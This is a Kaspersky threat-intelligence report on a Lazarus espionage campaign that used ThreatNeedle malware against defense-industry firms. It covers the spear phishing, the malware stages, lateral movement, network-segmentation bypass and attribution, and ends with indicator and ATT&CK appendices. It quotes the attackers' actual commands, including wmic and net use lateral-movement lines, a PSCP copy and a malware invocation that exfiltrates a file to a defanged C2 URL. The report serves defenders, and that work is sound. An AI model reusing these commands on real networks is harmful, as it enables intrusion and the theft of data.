Lazarus targets
defense industry
with ThreatNeedle
Vyacheslav Kopeytsev
Seongsu Park

25.02.2021

Version 1.0

Contents
Initial infection ..................................................................................................................................................................................................... 3
Malware implants .............................................................................................................................................................................................. 7
ThreatNeedle installer ............................................................................................................................................................................... 8
ThreatNeedle loader .................................................................................................................................................................................. 9
ThreatNeedle backdoor .......................................................................................................................................................................... 9
Post-exploitation phase ............................................................................................................................................................................ 10
Credential gathering .................................................................................................................................................................................. 11
Lateral movement........................................................................................................................................................................................ 11
Overcoming network segmentation ............................................................................................................................................... 11
Exfiltration ........................................................................................................................................................................................................15
Attribution ............................................................................................................................................................................................................ 17
Connection with DeathNote cluster .............................................................................................................................................18
Connection with Operation AppleJeus ......................................................................................................................................18
Connection with Bookcode cluster ...............................................................................................................................................18
Conclusions .........................................................................................................................................................................................................19
Appendix I – Indicators of Compromise ....................................................................................................................................... 20
Appendix II – MITRE ATT&CK Mapping ......................................................................................................................................... 23

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

1© 2021 AO KASPERSKY LAB

We named Lazarus the most active group of 2020. We’ve observed numerous
activities by this notorious APT group targeting various industries. The group haschanged target depending on the primary objective. Google TAG has recently
published a post about a campaign by Lazarus targeting security researchers. Aftertaking a closer look, we identified the malware used in those attacks as belonging to a
family that we call ThreatNeedle. We have seen Lazarus attack various industries
using this malware cluster before. In mid-2020, we realized that Lazarus was launchingattacks on the defense industry using the ThreatNeedle cluster, an advanced malware
cluster of Manuscrypt (a.k.a. NukeSped). While investigating this activity, we were able
to observe the complete life cycle of an attack, uncovering more technical details andlinks to the group’s other campaigns.
The group made use of COVID-19 themes in its spear-phishing emails, embellishingthem with personal information gathered using publicly available sources. After
gaining an initial foothold, the attackers gathered credentials and moved laterally,seeking crucial assets in the victim environment. We observed how they overcame
network segmentation by gaining access to an internal router machine andconfiguring it as a proxy server, allowing them to exfiltrate stolen data from theintranet network to their remote server. So far organizations in more than a dozen
countries have been affected.
During this investigation we had a chance to look into the command-and-control
infrastructure. The attackers configured multiple C2 servers for various stages,
reusing several scripts we’ve seen in previous attacks by the group. Moreover, basedon the insights so far, it was possible to figure out the relationship with other Lazarus
group campaigns.
The full article is available on Kaspersky Threat Intelligence. Customers ofKaspersky Intelligence reporting may contact: intelreports@kaspersky.com
For more information please contact: ics-cert@kaspersky.com.

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

2© 2021 AO KASPERSKY LABInitial infection
In this attack, spear phishing was used as the initial infection vector. Before
launching the attack, the group studied publicly available information about thetargeted organization and identified email addresses belonging to various
departments of the company.
Email addresses in those departments received phishing emails that either had amalicious Word document attached or a link to one hosted on a remote server.
The phishing emails claimed to have urgent updates on today’s hottest topic –COVID-19 infections. The phishing emails were carefully crafted and written on
behalf of a medical center that is part of the organization under attack.

Phishing email with links to malicious documents
The attackers registered accounts with a public email service, making sure thesender’s email addresses looked similar to the medical center’s real email
address. The signature shown in the phishing emails included the actual personal
data of the deputy head doctor of the attacked organization’s medical center.
The attackers were able to find this information on the medical center’s public
website.
A macro in the Microsoft Word document contained the malicious code
designed to download and execute additional malicious software on the infected
system.
The document contains information on the population health assessment
program and is not directly related to the subject of the phishing email (COVID19), suggesting the attackers may not completely understand the meaning of thecontents they used.
LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

3© 2021 AO KASPERSKY LABContents of malicious document
The content of the lure document was copied from an online post by a healthclinic.
Our investigation showed that the initial spear-phishing attempt was
unsuccessful due to macros being disabled in the Microsoft Office installation of
the targeted systems. In order to persuade the target to allow the malicious
macro, the attacker sent another email showing how to enable macros in
Microsoft Office.

Email with instructions on enabling macros #1
LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

4© 2021 AO KASPERSKY LABAfter sending the above email with explanations, the attackers realized that thetarget was using a different version of Microsoft Office and therefore requireda different procedure for enabling macros. The attackers subsequently sent
another email showing the correct procedure in a screenshot with a Russian
language pack.

Email with instructions on enabling macros #2
The content in the spear-phishing emails sent by the attackers from May 21 to
May 26, 2020, did not contain any grammatical mistakes. However, in subsequentemails the attackers made numerous errors, suggesting they may not be native
Russian speakers and were using translation tools.

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

5© 2021 AO KASPERSKY LABEmail containing several grammatical mistakes
On June 3, 2020, one of the malicious attachments was opened by employees
and at 9:30 am local time the attackers gained remote control of the infected
system.
This group also utilized different types of spear-phishing attack. One of thecompromised hosts received several spear-phishing documents on May 19, 2020.
The malicious file that was delivered, named Boeing_AERO_GS.docx, fetches atemplate from a remote server.
However, no payload created by this malicious document could be discovered.
We speculate that the infection from this malicious document failed for areason unknown to us. A few days later, the same host opened a different
malicious document. The threat actor wiped these files from disk after the initialinfection meaning they could not be obtained.
Nonetheless a related malicious document with this malware was retrieved
based on our telemetry. It creates a payload and shortcut file and thencontinues executing the payload by using the following command line
parameters.
••

Payload path: %APPDATA%\Microsoft\Windows\lconcaches.db
Shortcut path: %APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup\OneDrives.lnk•

Command Line; please note that the string at the end is hard-coded, butdifferent for each sample:o rundll32.exe [dllpath],Dispatch n2UmQ9McxUds2b29

The content of the decoy document depicts the job description of agenerator/power industry engineer.

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

6© 2021 AO KASPERSKY LAB

Decoy document

Malware implants
Upon opening a malicious document and allowing the macro, the malware is
dropped and proceeds to a multistage deployment procedure. The malware
used in this campaign belongs to a known malware cluster we named
ThreatNeedle. We attribute this malware family to the advanced version ofManuscrypt (a.k.a. NukeSped), a family belonging to the Lazarus group. We
previously observed the Lazarus group utilizing this cluster when attacking
cryptocurrency businesses and a mobile game company. Although the malware
involved and the entire infection process is known and has not changed
dramatically compared to previous findings, the Lazarus group continued using
ThreatNeedle malware aggressively in this campaign.

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

7© 2021 AO KASPERSKY LAB

Infection procedure
The payload created by the initial spear-phishing document loads the next stage
as a backdoor running in-memory – the ThreatNeedle backdoor. ThreatNeedle
offers functionality to control infected victims. The actor uses it to carry out
initial reconnaissance and deploy additional malware for lateral movement. When
moving laterally, the actor uses ThreatNeedle installer-type malware in theprocess. This installer is responsible for implanting the next stage loader-typemalware and registering it for auto-execution in order to achieve persistence.
The ThreatNeedle loader-type malware exists in several variations and serves
the primary purpose of loading the final stage of the ThreatNeedle malware inmemory.

ThreatNeedle installer
Upon launch, the malware decrypts an embedded string using RC4 (key: B6 B7
2D 8C 6B 5F 14 DF B1 38 A1 73 89 C1 D2 C4 ) and compares it to“7486513879852”. If the user executes this malware without a command line
parameter, the malware launches a legitimate calculator carrying a dark icon of
the popular Avengers franchise.
Further into the infection process, the malware chooses a service namerandomly from netsvc in order to use it for the payload creation path. The
malware then creates a file named bcdbootinfo.tlp in the system folder
containing the infection time and the random service name that is chosen. We’ve
discovered that the malware operator checks this file to see whether the
remote host was infected and, if so, when the infection happened.
It then decrypts the embedded payload using the RC4 algorithm, saves it to an.xml extension with a randomly created five-character file name in the current
directory and then copies it to the system folder with a .sys extension.

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

8© 2021 AO KASPERSKY LABThis final payload is the ThreatNeedle loader running in memory. At this point theloader uses a different RC4 key (3D 68 D0 0A B1 0E C6 AF DD EE 18 8E F4 A1
D6 20), and the dropped malware is registered as a Windows service andlaunched. In addition, the malware saves the configuration data as a registry key
encrypted in RC4:•HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\GameConfig Description

ThreatNeedle loader
This component is responsible for loading the final backdoor payload intomemory. In order to do this, the malware uses several techniques to decrypt its
payload:•••••Loading the payload from the registry.
Loading the payload from itself after decrypting RC4 anddecompression.
Loading the payload from itself after decrypting AES and decompression.
Loading the payload from itself after decompression.
Loading the payload from itself after one-byte XORing.

Most loader-style malware types check the command line parameter and only
proceed with the malicious routine if an expected parameter is given. This is acommon trait in ThreatNeedle loaders. The most common example we’ve seen issimilar to the ThreatNeedle installer – the malware decrypts an embedded string
using RC4, and compares it with the parameter “Sx6BrUk4v4rqBFBV” upon launch.
If it matches, the malware begins decrypting its embedded payload using thesame RC4 key. The decrypted payload is an archive file which is subsequently
decompressed in the process. Eventually, the ThreatNeedle malware spawns inmemory.
The other variant of the loader is preparing the next stage payload from thevictim's registry. As we can see from the installer malware description, we
suspect that the registry key was created by the installer component. Retrieved
data from the registry is decrypted using RC4 and then decompressed.
Eventually, it gets loaded into memory and the export function is invoked.

ThreatNeedle backdoor
The final payload executed in memory is the actual ThreatNeedle backdoor. It
has the following functionality to control infected victim machines:

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

9© 2021 AO KASPERSKY LAB

•
•
•
•
•
•

Manipulate files/directories
System profilingControl backdoor processes
Enter sleeping or hibernation mode
Update backdoor configuration
Execute received commands

Post-exploitation phase
From one of the hosts, we discovered that the actor executed a credential
harvesting tool named Responder and moved laterally using Windows
commands. Lazarus overcame network segmentation, exfiltrating data from acompletely isolated network segment cut off from the internet by compromisinga router virtual machine, as we explain below under “Overcoming network
segmentation”.
Judging by the hosts that were infected with the ThreatNeedle backdoors postexploitation, we speculate that the primary intention of this attack is to steal
intellectual property. Lastly, the stolen data gets exfiltrated using a custom toolthat will be described in the “Exfiltration” section. Below is a rough timeline of thecompromise we investigated:

Timeline of infected hosts

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

10© 2021 AO KASPERSKY LABCredential gathering
During the investigation we discovered that the Responder tool was executedfrom one of the victim machines that had received the spear-phishingdocument. One day after the initial infection, the malware operator placed thetool onto this host and executed it using the following command:•[Responder file path] -i [IP address] -rPv

Several days later, the attacker started to move laterally originating from thishost. Therefore, we assess that the attacker succeeded in acquiring login
credentials from this host and started using them for further malicious activity.

Lateral movement
After acquiring the login credentials, the actor started to move laterally fromworkstations to server hosts. Typical lateral movement methods were employed,using Windows commands. First, a network connection with a remote host wasestablished using the command “net use”.
•

net use \\[IP address]\IPC$ "[password]" /u:"[user name]" >$temp\~tmp5936t.tmp 2>&1"

Next, the actor copied malware to the remote host using the Windows
Management Instrumentation Command-line (WMIC).
••

wmic.exe /node:[IP address] /user:"[user name]"/password:"[password]" PROCESS CALL CREATE "cmd.exe /c$appdata\Adobe\adobe.bat"
wmic.exe /node:[IP address] /user:"[user name]"/password:"[password]" PROCESS CALL CREATE "cmd /c sc queryex
helpsvc > $temp\tmp001.dat"

Overcoming network segmentation
In the course of this research, we identified another highly interesting techniqueused by the attackers for lateral movement and exfiltration of stolen data. The
enterprise network under attack was divided into two segments: corporate (anetwork on which computers had internet access) and restricted (a network on
which computers hosted sensitive data and had no internet access). According
to corporate policies, no transfer of information was allowed between these twosegments. In other words, the two segments were meant to be completely
separated.
Initially, the attackers were able to get access to systems with internet accessand spent a long time distributing malware between machines in the network’s
LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

11© 2021 AO KASPERSKY LAB

corporate segment. Among the compromised machines were those used by theadministrators of the enterprise’s IT infrastructure.
It is worth noting that the administrators could connect both to the corporate
and the restricted network segments to maintain systems and provide users
with technical support in both zones. As a result, by gaining control ofadministrator workstations the attackers were able to access the restrictednetwork segment.
However, since directly routing traffic between the segments was not possible,
the attackers couldn’t use their standard malware set to exfiltrate data from therestricted segment to the C2.
The situation changed on July 2 when the attackers managed to obtain thecredentials for the router used by the administrators to connect to systems inboth segments. The router was a virtual machine running CentOS to route
traffic between several network interfaces based on predefined rules.

Connection layout between victim’s network segments
According to the evidence collected, the attackers scanned the router’s ports
and detected a Webmin interface. Next, the attackers logged in to the webinterface using a privileged root account. It’s unknown how the attackers wereable to obtain the credentials for that account, but it’s possible the credentials
were saved in one of the infected system’s browser password managers.

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

12© 2021 AO KASPERSKY LAB

Log listing Webmin web interface logins
By gaining access to the configuration panel the attackers configured theApache web server and started using the router as a proxy server between theorganization’s corporate and restricted segments.

List of services used on the router
Several days after that, on July 10, 2020, the attackers connected to the router
via SSH and set up the PuTTy PSCP (the PuTTY Secure Copy client) utility on
one of the infected machines. This utility was used to upload malware to therouter VM. This enabled the attackers to place malware onto systems in the
restricted segment of the enterprise network, using the router to host the
samples. In addition, malware running in the network’s restricted segment wasable to exfiltrate the collected data to the command-and-control server via the
Apache server set up on the same router.

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

13© 2021 AO KASPERSKY LABNew connection layout after attacker’s intrusion
In the course of the investigation we identified malware samples with thehardcoded URL of the router used as a proxy server.

Hardcoded proxy address in the malware
Since the attackers regularly deleted log files from the router, only a handful ofcommands entered to the command line via SSH could be recovered. An analysisof these commands shows that the attackers tried to reconfigure traffic routing
using the route command.

Attacker commands
The attackers also ran the nmap utility on the router VM and scanned ports on
systems within the restricted segment of the enterprise network. On September
27, the attackers started removing all traces of their activity from the router,using the logrotate utility to set up automatic deletion of log files.

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

14© 2021 AO KASPERSKY LAB

Webmin log

Exfiltration
We observed that the malware operator attempted to create SSH tunnels to aremote server located in South Korea from several compromised server hosts.
They used a custom tunneling tool to achieve this. The tool receives fourparameters: client IP address, client port, server IP address and server port. The
tool offers basic functionality, forwarding client traffic to the server. In order tocreate a covert channel, the malware encrypts forwarded traffic using trivial
binary encryption.

Encryption routine
Using the covert channel, the adversary copied data from the remote server
over to the host using the PuTTy PSCP tool:•%APPDATA%\PBL\unpack.tmp -pw [password] root@[IPaddress]:/tmp/cab0215 %APPDATA%\PBL\cab0215.tmp

After copying data from the server, the actor utilized the custom tool to
exfiltrate stolen data to the remote server. This malware looks like a legitimate
VNC client and runs like one if it’s executed without any command line
parameters.

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

15© 2021 AO KASPERSKY LAB

Execution of malware without parameters
However, if this application is executed with specific command line parameters,
it runs an alternate, malicious function. According to our telemetry, the actor
executed this application with six parameters:•%APPDATA%\Comms\Comms.dat S0RMM-50QQE-F65DN-DCPYN-5QEQA
hxxps://www.gonnelli[.]it/uploads/catalogo/thumbs/thumb[.]asp%APPDATA%\Comms\cab59.tmp FL0509 15000

Also, if the number of command line parameters is greater than six, the malware
jumps into a malicious routine. The malware also checks the length of the second
argument – if it’s less than 29 characters, it terminates the execution. When theparameter checking procedure has passed successfully, the malware starts todecrypt its next payload.
The embedded payload gets decrypted via XOR, where each byte from the endof the payload gets applied to the preceding byte. Next, the XORed blobreceives the second command line argument that’s provided (in this case S0RMM50QQE-F65DN-DCPYN-5QEQA). The malware can accept more command line
arguments, and depending on its number it runs differently. For example, it canalso receive proxy server addresses with the “-p” option.
When the decrypted in-memory payload is executed, it compares the header ofthe configuration data passed with the string “0x8406” in order to confirm its
validity. The payload opens a given file (in this example%APPDATA%\Comms\cab59.tmp) and starts exfiltrating it to the remote server.

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

16© 2021 AO KASPERSKY LAB

When the malware uploads data to the C2 server, it uses HTTP POST requests
with two parameters named ‘fr’ and ‘fp’:••

The ‘fr’ parameter contains the file name from the command line
argument to upload.
The ‘fp’ parameter contains the base64 encoded size, CRC32 value ofcontent and file contents.

Contents of fp parameter

Attribution
We have been tracking ThreatNeedle malware for more than two years and arehighly confident that this malware cluster is attributed only to the Lazarus group.
During this investigation, we were able to find connections to several clusters of
the Lazarus group.

Connections between Lazarus campaigns

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

17© 2021 AO KASPERSKY LAB

Connection with DeathNote cluster
During this investigation we identified several connections with the DeathNote(a.k.a. Operation Dream Job) cluster of the Lazarus group. First of all, among thehosts infected by the ThreatNeedle malware, we discovered one that was also
infected with the DeathNote malware, and both threats used the same C2server URLs.
In addition, while analyzing the C2 server used in this attack, we found a custom
web shell script that was also discovered on the DeathNote C2 server. We also
identified that the server script corresponding to the Trojanized VNC Uploader
was found on the DeathNote C2 server.
Although DeathNote and this incident show different TTPs, both campaigns
share command and control infrastructure and some victimology.

Connection with Operation AppleJeus
We also found a connection with Operation AppleJeus. As we described, theactor used a homemade tunneling tool in the ThreatNeedle campaign that has acustom encryption routine to create a covert channel. This very same tool was
utilized in operation AppleJeus as well.

Same tunneling tool

Connection with Bookcode cluster
In our previous blog about Lazarus group, we mentioned the Bookcode cluster
attributed to Lazarus group; and recently the Korea Internet and Security
Agency (KISA) also published a report about the operation. In the report, theymentioned a malware cluster named LPEClient used for profiling hosts andfetching next stage payloads. While investigating this incident, we also found
LPEClient from the host infected with ThreatNeedle. So, we assess that theThreatNeedle cluster is connected to the Bookcode operation.

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

18© 2021 AO KASPERSKY LABConclusions
In recent years, the Lazarus group has focused on attacking financial institutions
around the world. However, beginning in early 2020, they focused on
aggressively attacking the defense industry. While Lazarus has also previously
utilized the ThreatNeedle malware used in this attack when targeting
cryptocurrency businesses, it is currently being actively used in cyberespionage
attacks.
This investigation allowed us to create strong ties between multiple campaigns
that Lazarus has conducted, reinforcing our attribution. In this campaign the
Lazarus group demonstrated its sophistication level and ability to circumventthe security measures they face during their attacks, such as network
segmentation. We assess that Lazarus is a highly prolific group, conducting
several campaigns using different strategies. They shared tools andinfrastructure among these campaigns to accomplish their goals.

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

19© 2021 AO KASPERSKY LAB

Appendix I – Indicators of Compromise
Malicious documents
e7aa0237fc3db67a96ebd877806a2c88
Installerb191cc4d73a247afe0a62a8c38dc9137
9e440e231ef2c62c78147169a26a1bd3
b7cc295767c1d8c6c68b1bb6c4b4214f
0f967343e50500494cf3481ce4de698c
09aa1427f26e7dd48955f09a9c604564
07b22533d08f32d48485a521dbc1974d
1c5e4d60a1041cf2903817a31c1fa212
4cebc83229a40c25434c51ee3d6be13e
23b04b18c75aa7d286fea5d28d41a830
319ace20f6ffd39b7fff1444f73c9f5d
45c0a6e13cad26c69eff59fded88ef36
486f25db5ca980ef4a7f6dfbf9e2a1ad
1333967486d3ab50d768fb745dae9af5
07b22533d08f32d48485a521dbc1974d
c86d0a2fa9c4ef59aa09e2435b4ab70c
69d71f06fbfe177fb1a5f57b9c3ae587
7bad67dcaf269f9ee18869e5ef6b2dc1
956e5138940a4f44d1c2c24f122966bd
Loadered627b7bbf7ea78c343e9fb99783c62b
1a17609b7df20dcb3bd1b71b7cb3c674
fa9635b479a79a3e3fba3d9e65b842c3
3758bda17b20010ff864575b0ccd9e50
cbcf15e272c422b029fcf1b82709e333
9cb513684f1024bea912e539e482473a
36ab0902797bd18acd6880040369731c
db35391857bcf7b0fa17dbbed97ad269
be4c927f636d2ae88a1e0786551bf3c4
728948c66582858f6a3d3136c7fbe84a
06af39b9954dfe9ac5e4ec397a3003fb
29c5eb3f17273383782c716754a3025a
79d58b6e850647024fea1c53e997a3f6
e604185ee40264da4b7d10fdb6c7ab5e
2a73d232334e9956d5b712cc74e01753
1a17609b7df20dcb3bd1b71b7cb3c674
459be1d21a026d5ac3580888c8239b07
87fb7be83eff9bea0d6cc95d68865564
062a40e74f8033138d19aa94f0d0ed6e
9b17f0db7aeff5d479eaee8056b9ac09
9b17f0db7aeff5d479eaee8056b9ac09
420d91db69b83ac9ca3be23f6b3a620b
238e31b562418c236ed1a0445016117c

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

Boeing_AERO_GS.docx%APPDATA%\Microsoft\DRM\logon.bin
C:\ProgramData\ntnser.bin
C:\ProgramData\ntnser.bin
C:\ProgramData\Microsoft\MSDN\msdn.bin%APPDATA\Microsoft\info.dat
C:\ProgramData\adobe\load.dat
C:\ProgramData\Adobe\adobe.tmp
C:\ProgramData\Adobe\up.tmp%APPDATA%\Microsoft\DRM\logon.dat%APPDATA%\Microsoft\DRM\logon.bin%APPDATA%\Microsoft\DRM\logon.dat
C:\ProgramData\ntusers.dat
C:\PerfLogs\log.bin
C:\ProgramData\Adobe\load.dat%TEMP%\ETS4659.tmp%APPDATA%\Microsoft\Windows\shsvcs.db%APPDATA%\ntuser.bin%ALLUSERSPROFILE%\ntuser.bin%SYSTEMROOT%\system\mraudio.drv%SYSTEMROOT%\system\mraudio.drv%SYSTEMROOT%\LogonHours.sys%ALLUSERSPROFILE%\Adobe\update.tmp%ALLUSERSPROFILE%\Adobe\unpack.tmp%APPDATA%\Microsoft\IBM.DAT%ALLUSERSPROFILE%\ntuser.bin%ALLUSERSPROFILE%\ntuser.bin%SYSTEMROOT%\SysWOW64\wmdmpmsp.sys%APPDATA%\microsoft\OutIook.db%TEMP%\ETS4658.tmp, %APPDATA%\Temp\BTM0345.tmp%APPDATA%\Temp\BTM0345.tmp%APPDATA%\Microsoft\Windows\lconcaches.db,%TEMP%\cache.db
20© 2021 AO KASPERSKY LAB

36ab0902797bd18acd6880040369731c
238e31b562418c236ed1a0445016117c
ad1a93d6e6b8a4f6956186c213494d17
c34d5d2cc857b6ee9038d8bb107800f1
Registry Loader
16824dfd4a380699f3841a6fa7e52c6d
aa74ed16b0057b31c835a5ef8a105942
85621411e4c80897c588b5df53d26270
a611d023dfdd7ca1fab07f976d2b6629
160d0e396bf8ec87930a5df46469a960
110e1c46fd9a39a1c86292487994e5bd
Downloader
ac86d95e959452d189e30fa6ded05069
Trojanized VNC Uploader
bea90d0ef40a657cb291d25c4573768d
254a7a0c1db2bea788ca826f4b5bf51a
Tunneling Tool
6f0c7cbd57439e391c93a2101f958ccd
fc9e7dc13ce7edc590ef7dfce12fe017
LPEClient
0aceeb2d38fe8b5ef2899dd6b80bfc08
09580ea6f1fe941f1984b4e1e442e0a5%TEMP%\cache.db,%APPDATA%\Microsoft\Windows\lconcaches.db%APPDATA%\Microsoft\Windows\shsvcs.db%SYSTEMROOT%\system\avimovie.dll%WINDIR%\winhelp.dll%APPDATA%\Microsoft\thumbnails.db%ALLUSERSPROFILE%\adobe\arm86.dat%APPDATA%\PBL\user.tmp,%APPDATA%\Comms\Comms.dat%APPDATA\PBL\update.tmp%TEMP%\ETS5659.tmp%TEMP%\ETS4658.tmp

File path%SYSTEMROOT%\system32\bcdbootinfo.tlp%SYSTEMROOT%\system32\Nwsapagent.sys%SYSTEMROOT%\system32\SRService.sys%SYSTEMROOT%\system32\NWCWorkstation.sys%SYSTEMROOT%\system32\WmdmPmSp.sys%SYSTEMROOT%\system32\PCAudit.sys%SYSTEMROOT%\system32\helpsvc.sys
Registry PathHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\GameConfig Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig SubVersion
Domains and IPs
hxxp://forum.iron-maiden[.]ru/core/cache/index[.]php
hxxp://www.au-pair[.]org/admin/Newspaper[.]asp
hxxp://www.au-pair[.]org/admin/login[.]asp
hxxp://www.colasprint[.]com/_vti_log/upload[.]asp
hxxp://www.djasw.or[.]kr/sub/popup/images/upfiles[.]asp
hxxp://www.kwwa[.]org/popup/160307/popup_160308[.]asp
LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

21© 2021 AO KASPERSKY LAB

hxxp://www.kwwa[.]org/DR6001/FN6006LS[.]asp
hxxp://www.sanatoliacare[.]com/include/index[.]asp
hxxps://americanhotboats[.]com/forums/core/cache/index[.]php
hxxps://docentfx[.]com/wp-admin/includes/upload[.]php
hxxps://kannadagrahakarakoota[.]org/forums/admincp/upload[.]php
hxxps://polyboatowners[.]com/2010/images/BOTM/upload[.]php
hxxps://ryanmcbain[.]com/forum/core/cache/upload[.]php
hxxps://shinwonbook.co[.]kr/basket/pay/open[.]asp
hxxps://shinwonbook.co[.]kr/board/editor/upload[.]asp
hxxps://theforceawakenstoys[.]com/vBulletin/core/cache/upload[.]php
hxxps://www.automercado.co[.]cr/empleo/css/main[.]jsp
hxxps://www.curiofirenze[.]com/include/inc-site[.]asp
hxxps://www.digitaldowns[.]us/artman/exec/upload[.]php
hxxps://www.digitaldowns[.]us/artman/exec/upload[.]php
hxxps://www.dronerc[.]it/forum/uploads/index[.]php
hxxps://www.dronerc[.]it/shop_testbr/Adapter/Adapter_Config[.]php
hxxps://www.edujikim[.]com/intro/blue/view[.]asp
hxxps://www.edujikim[.]com/pay/sample/INIstart[.]asp
hxxps://www.edujikim[.]com/smarteditor/img/upload[.]asp
hxxps://www.fabioluciani[.]com/ae/include/constant[.]asp
hxxps://www.fabioluciani[.]com/es/include/include[.]asp
hxxp://www.juvillage.co[.]kr/img/upload[.]asp
hxxps://www.lyzeum[.]com/board/bbs/bbs_read[.]asp
hxxps://www.lyzeum[.]com/images/board/upload[.]asp
hxxps://martiancartel[.]com/forum/customavatars/avatars[.]php
hxxps://www.polyboatowners[.]com/css/index[.]php
hxxps://www.sanlorenzoyacht[.]com/newsl/include/inc-map[.]asp
hxxps://www.raiestatesandbuilders[.]com/admin/installer/installer/index[.]php
hxxp://156.245.16[.]55/admin/admin[.]asp
hxxp://fredrikarnell[.]com/marocko2014/index[.]php
hxxp://roit.co[.]kr/xyz/mainpage/view[.]asp
Second stage C2 address
hxxps://www.waterdoblog[.]com/uploads/index[.]asp
hxxp://www.kbcwainwrightchallenge.org[.]uk/connections/dbconn[.]asp
C2 URLs to exfiltrate files used by Trojanized VNC Uploader
hxxps://prototypetrains[.]com:443/forums/core/cache/index[.]php
hxxps://newidealupvc[.]com:443/img/prettyPhoto/jquery.max[.]php
hxxps://mdim.in[.]ua:443/core/cache/index[.]php
hxxps://forum.snowreport[.]gr:443/cache/template/upload[.]php
hxxps://www.gonnelli[.]it/uploads/catalogo/thumbs/thumb[.]asp
hxxps://www.dellarocca[.]net/it/content/img/img[.]asp
hxxps://www.astedams[.]it/photos/image/image[.]asp
hxxps://www.geeks-board[.]com/blog/wp-content/uploads/2017/cache[.]php
hxxps://cloudarray[.]com/images/logo/videos/cache[.]jsp

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

22© 2021 AO KASPERSKY LAB

Appendix II – MITRE ATT&CK Mapping
TacticTechniqueTechnique Name

Initial Access

T1566.002

Phishing: Spearphishing Link

Execution

T1059.003

Command and Scripting Interpreter: Windows Command
Shell

T1204.002

User Execution: Malicious File

T1569.002

System Services: Service Execution

T1543.003

Create or Modify System Process: Windows Service

T1547.001

Boot or Logon Autostart Execution: Registry Run Keys /Startup Folder

Privilege Escalation

T1543.003

Create or Modify System Process: Windows Service

Defense Evasion

T1140

Deobfuscate/Decode Files or Information

T1070.002

Clear Linux or Mac System Logs

T1070.003

Clear Command History

T1070.004

File Deletion

T1036.003

Masquerading: Rename System Utilities

T1036.004

Masquerading: Masquerade Task or Service

T1112

Modify Registry

Credential Access

T1557.001

LLMNR/NBT-NS Poisoning and SMB Relay

Discovery

T1135

Network Share Discovery

T1057

Process Discovery

T1016

System Network Configuration Discovery

T1033

System Owner/User Discovery

T1049

System Network Connections Discovery

T1082

System Information Discovery

T1083

File and Directory Discovery

T1007

System Service Discovery

Persistence

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

23© 2021 AO KASPERSKY LABLateral Movement

T1021.002

SMB/Windows Admin Shares

Collection

T1560.001

Archive Collected Data: Archive via Utility

Command andControlT1071.001

Application Layer Protocol: Web Protocols

T1132.002

Non-Standard Encoding

T1104

Multi-Stage Channels

T1572

Protocol Tunneling

T1090.001

Internal Proxy

T1041

Exfiltration Over C2 Channel

Exfiltration

LAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

24© 2021 AO KASPERSKY LABKaspersky Industrial Control Systems Cyber Emergency Response Team (Kaspersky ICS CERT)
is a global project of Kaspersky aimed at coordinating the efforts of automation system vendors,
industrial facility owners and operators, and IT security researchers to protect industrial enterprises
from cyberattacks. Kaspersky ICS CERT devotes its efforts primarily to identifying potential andexisting threats that target industrial automation systems and the industrial internet of things.
Kaspersky ICS CERTLAZARUS TARGETS DEFENSE INDUSTRY
WITH THREATNEEDLE

ics-cert@kaspersky.com

25© 2021 AO KASPERSKY LAB